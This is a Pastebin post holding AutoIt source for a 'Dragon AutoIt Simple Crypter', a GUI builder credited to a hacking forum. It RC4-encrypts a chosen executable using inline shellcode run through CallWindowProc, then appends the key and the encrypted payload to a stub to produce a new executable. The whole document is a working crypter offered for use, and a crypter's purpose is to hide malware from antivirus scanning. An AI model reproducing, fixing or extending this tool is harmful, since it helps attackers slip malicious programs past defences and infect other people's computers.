Guest User

builder m3

a guest
Mar 11th, 2017
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. #include <ButtonConstants.au3>
  2. #include <EditConstants.au3>
  3. #include <GUIConstantsEx.au3>
  4. #include <StaticConstants.au3>
  5. #include <WindowsConstants.au3>
  6. #include <WinAPI.au3>
  7.  
  8. ;==============================================;
  9. ; Dragon AutoIt Simple Crypter M3 ;
  10. ; Coded By M3 ;
  11. ; For Http://www.hackcommunity.com/ ;
  12. ;==============================================;
  13.  
  14.  
  15. #Region ### START Koda GUI section ### Form=
  16. $Form1 = GUICreate("Dragon Autoit Crypter M3", 365, 168, -1, -2 ,-1,$WS_EX_ACCEPTFILES)
  17. GUISetOnEvent($GUI_EVENT_DROPPED, "sDragAndDrop")
  18. GUISetCursor (3)
  19. GUISetFont(8, 400, 0, "Cambria")
  20. GUISetBkColor(0x000000)
  21. WinSetOnTop($Form1, "", 1)
  22. $Text1 = GUICtrlCreateInput("Drag And Drop ....", 8, 118, 350, 16)
  23. GUICtrlSetState(-1, $GUI_DROPACCEPTED)
  24. GUISetState(@SW_SHOW)
  25. GUICtrlSetCursor (-1, 3)
  26. $Text2 = GUICtrlCreateInput("<<<<< Pass >>>>>", 8, 147, 100, 16)
  27. GUICtrlSetCursor (-1, 3)
  28. $Crypt = GUICtrlCreateButton("Encryptar", 115, 145, 120, 20)
  29. GUICtrlSetCursor (-1, 3)
  30. $AboutSoftware = GUICtrlCreateButton("Acerca De", 240, 145, 120, 20)
  31. GUICtrlSetCursor (-1, 3)
  32. $sProgressBar = GUICtrlCreateProgress(8, 137, 350, 6)
  33. $sImage = GUICtrlCreatePic("AutoItCliente.jpg", 0, 0, 393, 113)
  34. #EndRegion ### END Koda GUI section ###
  35.  
  36.  
  37.  
  38.  
  39. ;Simple Form Efect
  40.  
  41. $Long = 1
  42. Do
  43.  
  44. _WinAPI_SetWindowRgn($Form1, _WinAPI_CreateRoundRectRgn(0, 0, 560 , $Long , 0 , 0))
  45. Sleep(1)
  46. $Long = $Long + 1
  47.  
  48. Until $Long = 200
  49.  
  50.  
  51.  
  52.  
  53.  
  54. While 1
  55.  
  56.  
  57. $nMsg = GUIGetMsg()
  58. Switch $nMsg
  59.  
  60.  
  61.  
  62. Case $GUI_EVENT_CLOSE
  63. Exit
  64.  
  65.  
  66.  
  67.  
  68. Case $AboutSoftware
  69.  
  70. Msgbox (64,"AutoIt Crypter M3" ,"Coded By M3 , Thanks to TranceXX")
  71.  
  72.  
  73.  
  74.  
  75. Case $Crypt
  76.  
  77.  
  78. If GuiCtrlRead($Text1) = "Drag and Drop your file ...." then
  79. Msgbox(0,"Atention ","First Drag and Drop your File")
  80. Exit
  81. Endif
  82.  
  83.  
  84.  
  85.  
  86. FileWrite (@ScriptDir & "\Stub.exe", GuiCtrlRead($Text2))
  87.  
  88. $sKey = "\\BYM3\\"
  89.  
  90. $stub = FileOpen(@ScriptDir & "\Stub.exe")
  91.  
  92. $sStub = FileRead($stub)
  93.  
  94. $sArquive = FileRead(FileOpen(GuiCtrlRead($Text1)))
  95.  
  96. $sArquive = _RC4($sArquive,$sKey)
  97.  
  98. $salvar = FileOpen(FileSaveDialog("Save File", @ScriptDir, "PE Files(*.exe)") & ".exe", 18)
  99.  
  100. FileWrite($salvar, $sStub)
  101.  
  102. FileWrite($salvar, StringToBinary($sKey))
  103.  
  104. FileWrite($salvar, $sArquive)
  105.  
  106. FileClose($stub)
  107.  
  108. FileClose($Text1)
  109.  
  110. Fileclose($Salvar)
  111.  
  112.  
  113. GUICtrlSetData ($sProgressBar,GUICtrlRead($sProgressBar) + 100)
  114.  
  115.  
  116.  
  117. EndSwitch
  118.  
  119. WEnd
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126. Func sDragAndDrop()
  127.  
  128. ConsoleWrite("ID: " & @GUI_DRAGID & " File: " & @GUI_DRAGFILE & " Drop: " & @GUI_DROPID & @CRLF)
  129.  
  130. EndFunc
  131.  
  132.  
  133.  
  134.  
  135.  
  136. Func _RC4($Data, $key)
  137.  
  138.  
  139. Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
  140. Local $CodeBuffer = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
  141. DllStructSetData($CodeBuffer, 1, $OPCODE)
  142. Local $Buffer = DllStructCreate("byte[" & BinaryLen($Data) & "]")
  143. DllStructSetData($Buffer, 1, $Data)
  144. DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CodeBuffer), "ptr", DllStructGetPtr($Buffer), "int", BinaryLen($Data), "str", $key, "int", 0)
  145. Local $Ret = DllStructGetData($Buffer, 1)
  146. $Buffer = 0
  147. $CodeBuffer = 0
  148. Return $Ret
  149.  
  150.  
  151. EndFunc
Add Comment
Please, Sign In to add comment